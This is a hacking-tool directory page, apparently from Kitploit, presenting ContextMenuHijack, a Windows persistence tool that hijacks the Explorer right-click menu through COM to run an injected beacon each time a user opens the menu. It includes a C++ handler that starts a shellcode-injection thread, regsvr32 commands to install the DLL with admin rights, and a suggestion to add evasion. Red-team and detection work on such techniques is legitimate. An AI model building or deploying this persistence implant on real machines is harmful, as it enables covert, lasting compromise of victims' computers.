Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ContextMenuHijack — Execute a payload at each right click on a file/folder in the explorer menu for persistence | Kitploit
Tools/GitHubGitHub/ristbs/contextmenuhijack
Persistence MechanismsPost-ExploitationRed TeamingPayload Development
GitHubristbs/contextmenuhijack

ContextMenuHijack

Execute a payload at each right click on a file/folder in the explorer menu for persistence

View Repository
17327443 years agoReviewed by Kitploit
Share

ContextMenuHijack

This original idea that inspired me is from @NinjaParanoid :

Video

ContextMenuHijack is a simple persistence technique that use COM hijacking based on human behavior, when you right click on a file/folder in the File Explorer to open the Context Menu, it executes at the same time the beacon we specified.

IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
    DWORD tid = NULL;
    CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);

    if (NULL == pDataObj) {
	if (pidlFolder != NULL) {
	}
        return S_OK;
    }
    return S_OK;
}

Usage

You just have to load the solution file (.sln) and build it. It's important to know that you need adminstrator privileges to use this persistence technique. Once you have done all of this, you just have to register the DLL file in the registry with regsvr32:

regsvr32 "C:\path\to\ContextMenuHijack.dll"

if you want to uninstall it just use /u flag

regsvr32 /u "C:\path\to\ContextMenuHijack.dll"

persistence1

  • this technique can be easily detected from the thread stack of explorer.exe, it is up to you to use your own evasion tradecraft image

Credits

  • https://github.com/rikka0w0/ExplorerContextMenuTweaker
  • https://learn.microsoft.com/en-us/windows/win32/shell/how-to-implement-the-icontextmenu-interface?redirectedfrom=MSDN
  • https://www.codeproject.com/Articles/441/The-Complete-Idiot-s-Guide-to-Writing-Shell-Extens
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →